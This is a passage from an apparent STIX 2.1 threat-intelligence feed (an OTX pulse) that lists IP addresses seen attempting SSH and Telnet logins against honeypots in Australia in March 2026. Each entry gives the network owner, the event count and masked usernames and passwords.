      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): 3**********4, a**n, r**t, ***, c**i. Passwords observed (masked): 1******8, 3***********4, 3**********4, 1***5, C******6.",
      "id": "indicator--2c471da6-17de-4435-9ad9-951d2c52504d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.187.147.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T10:15:05.000Z",
      "valid_until": "2026-04-21T10:15:03.000Z"
    },
    {
      "created": "2026-03-20T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--c8ea483a-a8e9-4ce8-b3c0-627abdeb20bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.94.107.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T10:15:05.000Z",
      "valid_until": "2026-04-21T10:15:03.000Z"
    },
    {
      "created": "2026-03-20T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53127. Organisation(s): VB Telecom Com. e Serv. de Info Ltda.",
      "id": "indicator--521dbdd8-d8e6-4cd1-a7e8-96efa569ab17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.110.128.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T10:15:05.000Z",
      "valid_until": "2026-04-21T10:15:03.000Z"
    },
    {
      "created": "2026-03-20T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A..",
      "id": "indicator--ebd6a7f1-863d-4721-a6c9-9bc4777120d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.115.232.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T10:15:05.000Z",
      "valid_until": "2026-04-21T10:15:03.000Z"
    },
    {
      "created": "2026-03-20T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 16735. Organisation(s): ALGAR TELECOM SA. Usernames observed (masked): 3**********4, a**n, c**i, r**t, ***. Passwords observed (masked): 1******8, 3***********4, 3**********4, 1***5, C******6.",
      "id": "indicator--e85276d7-6649-4c11-94d3-b913b45c0c86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.16.238.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T10:15:05.000Z",
      "valid_until": "2026-04-21T10:15:03.000Z"
    },
    {
      "created": "2026-03-20T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 23563. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--5f3c0c61-9e13-49a5-8317-d45d2a50a285",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.251.219.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T10:15:05.000Z",
      "valid_until": "2026-04-21T10:15:03.000Z"
    },
    {
      "created": "2026-03-20T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--5321b0f8-2721-4b3d-b0d1-6147fad8edc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.173.20.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:15:05.000Z",
      "valid_until": "2026-04-21T11:15:02.000Z"
    },
    {
      "created": "2026-03-20T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--3db2aa93-274f-408a-bf85-d8c82e9e717e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.43.71.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:15:05.000Z",
      "valid_until": "2026-04-21T11:15:02.000Z"
    },
    {
      "created": "2026-03-20T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--12369dce-846f-4287-ab34-02993b717d9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:15:05.000Z",
      "valid_until": "2026-04-21T11:15:02.000Z"
    },
    {
      "created": "2026-03-20T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--82705198-7443-44b3-be01-44412a199e1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.91.166.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:15:05.000Z",
      "valid_until": "2026-04-21T11:15:02.000Z"
    },
    {
      "created": "2026-03-20T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--5e4bfd72-8d7d-437e-81ee-14f98b6183c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.28.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:15:05.000Z",
      "valid_until": "2026-04-21T11:15:02.000Z"
    },
    {
      "created": "2026-03-20T12:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, r**t, a*****e, a**n, a*****r. Passwords observed (masked): 3***********4, 3**********4, p******d, ***, 1****6.",
      "id": "indicator--5021a066-1ec6-439d-96ff-5b6bcc2d9bba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.63.25.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T12:15:07.000Z",
      "valid_until": "2026-04-21T12:15:05.000Z"
    },
    {
      "created": "2026-03-20T12:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): c*****7, *. Passwords observed (masked): 1****6, i***!.",
      "id": "indicator--0582523a-d32a-4238-b6e4-bc535c353a8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.20.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T12:15:07.000Z",
      "valid_until": "2026-04-21T12:15:05.000Z"
    },
    {
      "created": "2026-03-20T12:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 215117. Organisation(s): HosterDaddy Private Limited. Usernames observed (masked): f****y. Passwords observed (masked): f********4.",
      "id": "indicator--eb54033b-4976-40d4-bd09-408fcf797f13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.250.191.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T12:15:07.000Z",
      "valid_until": "2026-04-21T12:15:05.000Z"
    },
    {
      "created": "2026-03-20T12:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--15842f4b-6f73-4759-8420-e0464c48dd3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.59.230.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T12:15:07.000Z",
      "valid_until": "2026-04-21T12:15:05.000Z"
    },
    {
      "created": "2026-03-20T12:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): a***a. Passwords observed (masked): A*******!.",
      "id": "indicator--8804059b-c560-4db6-862e-9134fe237353",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.117.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T12:15:07.000Z",
      "valid_until": "2026-04-21T12:15:05.000Z"
    },
    {
      "created": "2026-03-20T12:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): ***, s****s, 3**********4, **, ***. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, D***3.",
      "id": "indicator--cb380b92-6390-4bc4-82a6-bfb98738e671",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '40.121.200.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T12:15:07.000Z",
      "valid_until": "2026-04-21T12:15:05.000Z"
    },
    {
      "created": "2026-03-20T12:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 209693. Organisation(s): Oc Networks Limited. Usernames observed (masked): p***o, r**t, 3**********4, **, e***********h. Passwords observed (masked): ***, 1**4, 1******8, 1************u, 3***********4.",
      "id": "indicator--ad779054-b823-4987-b24f-41361a71c0d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.188.83.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T12:15:07.000Z",
      "valid_until": "2026-04-21T12:15:05.000Z"
    },
    {
      "created": "2026-03-20T12:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--06146911-f05a-4a6e-99c3-f1dd98759d0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T12:15:07.000Z",
      "valid_until": "2026-04-21T12:15:05.000Z"
    },
    {
      "created": "2026-03-20T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--23e6d49c-6a9f-4af5-b924-836c9974b23d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.115.147.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T13:15:13.000Z",
      "valid_until": "2026-04-21T13:15:11.000Z"
    },
    {
      "created": "2026-03-20T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--38a39ab7-ff4b-4458-bf51-6079bba3b605",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T13:15:13.000Z",
      "valid_until": "2026-04-21T13:15:11.000Z"
    },
    {
      "created": "2026-03-20T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--0a4c3c83-21ca-475b-8cdb-0c20cd3937d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.157.85.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T13:15:13.000Z",
      "valid_until": "2026-04-21T13:15:11.000Z"
    },
    {
      "created": "2026-03-20T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--f4df7627-f020-484b-9bbe-46cba31a32dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T13:15:13.000Z",
      "valid_until": "2026-04-21T13:15:11.000Z"
    },
    {
      "created": "2026-03-20T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--c8eedd66-d6e3-4c35-be0e-f9cb58cf2c28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.244.172.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:15:14.000Z",
      "valid_until": "2026-04-21T14:15:12.000Z"
    },
    {
      "created": "2026-03-20T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, r**t.",
      "id": "indicator--8822a065-ca5c-4fae-a28e-98b02eaf9fd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.35.99.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:15:14.000Z",
      "valid_until": "2026-04-21T14:15:12.000Z"
    },
    {
      "created": "2026-03-20T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 387. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): (**********), *, 1**1, 1****1, ***.",
      "id": "indicator--3e9c2066-d145-4ddc-873d-839b5e527367",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.174.167.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:15:14.000Z",
      "valid_until": "2026-04-21T14:15:12.000Z"
    },
    {
      "created": "2026-03-20T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--ab16cb6b-e6a7-4401-8f26-1219e73edc9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '174.138.91.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:15:14.000Z",
      "valid_until": "2026-04-21T14:15:12.000Z"
    },
    {
      "created": "2026-03-20T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 272953. Organisation(s): HS NETWORKS SAS.",
      "id": "indicator--077a779b-c2a3-408d-9fa1-6587af15f163",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.216.132.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:15:14.000Z",
      "valid_until": "2026-04-21T14:15:12.000Z"
    },
    {
      "created": "2026-03-20T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 45. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--77b4ba99-3dc3-408c-ad05-97a4adc514be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.235.53.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:15:14.000Z",
      "valid_until": "2026-04-21T14:15:12.000Z"
    },
    {
      "created": "2026-03-20T15:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): o******i. Passwords observed (masked): o******i.",
      "id": "indicator--6a5eedbc-ee4a-4820-8273-a125b415fb91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T15:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.205.139.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T15:15:07.000Z",
      "valid_until": "2026-04-21T15:15:05.000Z"
    },
    {
      "created": "2026-03-20T15:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--00707384-76bb-4ea5-be7c-d934f6740f8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T15:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.66.125.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T15:15:07.000Z",
      "valid_until": "2026-04-21T15:15:05.000Z"
    },
    {
      "created": "2026-03-20T15:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--91985998-58e5-4223-a58a-8471483d6ccc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T15:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.124.161.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T15:15:07.000Z",
      "valid_until": "2026-04-21T15:15:05.000Z"
    },
    {
      "created": "2026-03-20T15:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 23956. Organisation(s): AmberIT Limited.",
      "id": "indicator--93d3cf1c-4640-4b00-93fc-adf1c26fec0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T15:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.4.127.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T15:15:07.000Z",
      "valid_until": "2026-04-21T15:15:05.000Z"
    },
    {
      "created": "2026-03-20T15:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 400619. Organisation(s): AROSSCLOUD INC.. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--e1405377-ec98-4e7c-9110-e2354db0371e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T15:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.55.146.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T15:15:07.000Z",
      "valid_until": "2026-04-21T15:15:05.000Z"
    },
    {
      "created": "2026-03-20T15:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--3ad3f689-3ac8-419b-baa7-dcf861d48a82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T15:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.224.3.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T15:15:07.000Z",
      "valid_until": "2026-04-21T15:15:05.000Z"
    },
    {
      "created": "2026-03-20T16:15:07.000Z",
